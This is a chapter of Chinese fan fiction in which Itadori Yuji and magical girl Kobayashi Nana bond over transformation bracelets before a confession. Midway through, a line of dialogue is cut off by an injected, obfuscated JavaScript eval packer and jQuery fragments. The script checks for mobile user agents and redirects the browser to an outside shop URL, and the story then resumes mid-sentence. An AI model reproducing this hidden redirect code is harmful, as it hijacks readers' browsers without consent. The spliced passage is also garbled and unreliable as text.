小林奈奈咬着唇,像是下定了某种决心。


    “如果你真的很不想女装的话,我可以不看的……只要建立链接,在关键的时候能用来保护你自己就好!”


    她的心在滴血。


    小林奈奈曾经无数次看过高木香织的战斗。


    之前魔法少女的经典战斗都被存在共享资料库里,本意是让后来的魔法少女能从中学会战斗,只是要耗费魔力罢了。


    小林奈奈一开始成为魔法少女的时候非常沉迷,反复要求米伊放给她看,纯粹是因为觉得好看、过瘾。


    正是知道高木香织的变身形象,她才很难过。


    小林奈奈绝对没有搞替身文学的意思,只是——


    她是真的真的真的很想看虎杖悠仁穿女仆装啊!


    御姐气质的香织前辈穿着黑白女仆装的样子很有魅力,乌黑亮丽的一刀切短发显得又甜又酷。


    小林奈奈非常憧憬她那双包裹着黑丝袜的有力长腿暴起踢向敌人时,那连空气都要被割裂的惊人气魄将她迷得神魂颠倒。


    但这和她想看虎杖悠仁穿女仆装一点都不冲突吧!


    这绝对不是她的错,一定是血缘的影响——她姑姑就是个女仆狂魔,她对女仆装有点偏好,也很正常吧?


    这是家学渊源。


    悠仁穿女仆装——


    想看想看想看想看……


    但是如果他真的很不愿意的话,小林奈奈也不是不能稍微忍耐一下。


    她这副牺牲巨大、忍辱负重的模样,看得虎杖悠仁嘴角抽搐。


    他叹了口气,拍了拍小林奈奈头顶翘起的呆毛,收手时,被压倒的呆毛又顽强立起。


    “久松小姐说你用魔力的方式太浪费、太随便,如果魔力用光就没有办法再做魔法少女了,我担心给你添麻烦。”


    闻言,最受打击的是米伊。


    它垂着脑袋,飞行高度都降低了:“果、果然……”


    虎杖悠仁困惑地看着它。


    小林奈奈解释道:“久松大人之前教训了米伊一顿。”


    久松恨铁不成钢地在信里严厉写道:“米诺奇谢敏列比洗雅阁亚伟诺亚德拉阁下,我检测了周围的魔力浓度,你是仗着宿主的魔力值高所以随意使用魔法吧?这样是不对的,魔力不应该这样滥用。”


    虎杖悠仁很理解久松的话:“久松小姐也跟我说了……”


    听他解释完,小林奈奈顿悟了,原来虎杖悠仁这次莫名不好说话是因为在关心她。


    一股暖流在心田流淌,小林奈奈感动地说:“悠仁,原来你是出于这个考虑。不用担心,我心里有数的!”


    虎杖悠仁发出灵魂一问:“那如果你像之前那样魔力枯竭到昏迷的时候,突然遇到需要帮助的人,储存在米伊那里的魔力又不够呢?”


    “……”


    “我觉得还是防患于未然比较好。”


    “你说得对,但这和我的提议不冲突。”小林奈奈油盐不进,大声喊着,“成为魔法少女吧,悠仁!”


    ☆


    虎杖悠仁最终妥协了。


    建立链接又不怎么耗费魔力,至于是否变身使用魔法,那要由他来决定。


    而且久松说的那些话让他实在放心不下。


    虽然不觉得自己有什么理直气壮的立场,但那样喜爱魔法少女的小林奈奈会因为过度使用魔力而失去魔法少女的资格,那一定一定不是他想要看到的未来。


    于是虎杖悠仁的手环上又多了一条看不懂的符文。


    虎杖悠仁慢吞吞地摸了摸上面的纹路,心里有种尘埃落定的感觉。


    他最初只是想赶紧过完暑假结束这一切,然后回归正常生活,像普通人一样过完自己的高中。


    可现在似乎已经完全没有机会了。


    虽然他也不懂魔法之类的,但如今的处境总有一种他和小林奈奈命运紧密相连之感。


    他甚至开始相信阿天坊梦的预言,就是不知道他会在什么地方捡什么东西吃。


    ……说真的,他又不是狗,怎么可能乱捡东西吃?


    虎杖悠仁完全想象不出来那场面。


    指腹划过手镯上凹凸不平的刻痕,虎杖悠仁顿了顿,问道:“我之前就很好奇,这上面的花纹有什么含义吗?”


    “没有象征意义,不过有文字内容。”米伊回答。


    手环在开发时的基调就是需要一些神秘花纹作基调,在没有特殊设置的情况下,看到的花纹就是经过特殊处理的文字罢了。


    小林奈奈好奇地问:“这些文字按照什么标准选出来的?”


    米伊:“看魔法使者的个人喜好。”


    小林奈奈伸手展示自己的手环:“我这个写的什么?”


    米伊诡异地沉默了一下,才回答:“‘吃好喝好,长生不老’。”


    小林奈奈露出嫌弃的表情:“这是什么?好逊。”


    一点也不符合她作为魔法少女的美学。


    小林奈奈想到自己一直用着刻有这句话的变身手镯,心里就有些别扭。


    米伊羞愤地反驳:“有什么关系,这是人家的人生格言啊!”


    小林奈奈毫不留情地吐槽:“猪生格言。”


    “哼。”米伊气鼓鼓地用猪屁股对着小林奈奈。


    不出十秒,它又扭扭捏捏地转过头,黑漆漆的眼睛一眨也不眨地看着小林奈奈:“不过用了这么多年,也该换了,只是我一时间没想到更好的。你们有什么好主意吗?”


    小林奈奈一边思考,一边伸手把米伊捞回来,揉捏着它圆溜溜的粉色脑袋:“那就‘小猪软乎乎,遇事打呼’吧。”


    虎杖悠仁吐槽:“这不是听起来更逊了吗?”


    米伊却很高兴:“好啊好啊,我这就改。”


    虎杖悠仁:“……”


    行吧,知道你们是真爱了。


    小林奈奈看向虎杖悠仁:“那香织前辈的手环上写的什么呢?”


    米伊翻译了下:“‘遇到困难睡大觉’。”


    好消极……


    虎杖悠仁担心小林奈奈感到失望,劝慰道:“这也有可能是久松小姐写的。”


    小林奈奈已经完全被滤镜蒙蔽了双眼,找不到自己本来的人设了。


    她热情且真诚地夸赞道:“不愧是香织前辈,好可爱!”


    虎杖悠仁:“……”


    米伊目测是久松的隐藏粉丝,从一开始就对久松反应很大。


    担心斥责,渴望夸赞,又不允许别人质疑。


    听到虎杖悠仁的话,它立刻愤愤不平地反驳道:“如果是久松前辈,一定会写一些悲秋伤春的诗词。比如‘君埋泉下泥销骨,我寄人间雪满头’之类的。”


    虎杖悠仁:“……”


    你这不是越描越黑了吗?


    全是悲情的诗句啊。


    气氛随着米伊的话变得有些沉重。


    “很符合久松小姐气质


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947973|191333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的诗句……”小林奈奈感动地双手合十,“它一定也很想念香织前辈!放心吧,我一定会照顾好悠仁的。”


    这听起来虎杖悠仁仿佛是魔法少女留下来的珍贵遗产,需要由同样作为魔法少女的后背小林奈奈妥善保存。


    虎杖悠仁本人莫名感觉自己好像突然差了一辈。


    他看了看沉浸在兴奋情绪里的小林奈奈,再次对自己想说的话有些迟疑。


    或许正如叶波君所说,小林奈奈对他只是小孩子的玩乐,并不是真正的感情。


    那孩子总是把魔法少女、正义、预言什么的挂在嘴边,过分炙热的态度反而带来略显虚无的缥缈感。


    虎杖悠仁摸了摸右手腕的镯子,冰冷的坚硬触感伴随着微妙的感觉逐渐在心里蔓延开。


    金属质地、有一定宽度,本来对他来说有些窄,但要戴上的时候就自动改了尺寸,完美贴合他的手腕。


    想来原本那应该是他妈妈戴的尺寸吧?


    久松小姐似乎把那做成了初始数值,当虎杖悠仁把镯子摘下来的时候,手镯再次变回了那个尺寸,握在手里就好像一直在妈妈身边长大,然后用如今成长过的手掌握住妈妈的手腕一样。


    区别大概是没有温度。


    小林奈奈歪头盯着他,没有出声,长而卷的金发从肩头滑落,既美又柔和。


    那双圆圆的蓝眼睛色泽像极北之地的冰川,温度柔和而明亮,积了一汪阳光在眼底。


    小林奈奈难得安静的目光像沉重的船锚,把虎杖悠仁这些天被叶波君说动的心安定下来。


    叶波君是虎杖悠仁初中打游戏认识的网友,虽然对方一直坚持所谓的神秘主义不愿透露姓名,但两人关系一直很不错。


    直到不久前叶波君和他一起通关了一个超难的游戏,对方高兴之下才和他互通了姓名。


    本来不怎么聊现实生活的两人关系越来越好,虎杖悠仁知道了很多对方的事情。


    叶波君母亲早逝,父亲几年前在东京组建了新家庭,把他扔在乡下和奶奶相依为命,关于父亲的责任就是每个月按时打钱。


    【所以我才打单子挣钱,那家伙自己在东京快活,给的钱根本不够我和奶奶用、】


    叶波君说。


    虎杖悠仁也开始偶尔说起自己身边的事,难免会提到强势入侵他生活的小林奈奈。


    都是些只言片语,叶波君不怎么做评价,前两天却突然说这像是大小姐的过家家游戏。


    叶波君一直对那个“夺走”他父亲的东京女人以及他的父亲很有意见,说出这种话似乎并不奇怪。


    而且他一副尽量客观地样子。


    【我倒不是说她在耍你,只是感觉她心智不太成熟。她真的分得清什么是喜欢吗?感觉就是想谈恋爱而已吧、】


    零零碎碎地,有意无意地,让他犹豫不决。


    自己的喜欢是否有意义呢?


    是不是应该掐灭在摇篮里呢?


    只能通过电子设备联系时产生的胡思乱想在见到本人后一下子被吹飞了,只留下最本质的想法。


    “奈奈酱。”虎杖悠仁郑重地将手镯重新套在手上,夕阳从他侧边的玻璃窗透进来,映得他脸色通红,眼瞳滚烫,“我有重要的话对你说!”


    小林奈奈把手背在身后,乖巧又欢快地“嗯”了一声。


    不知道是不是虎杖悠仁的错觉,那双眼睛在这一瞬陡然明亮,剔透的冰蓝色浓郁得仿佛要溢满出来。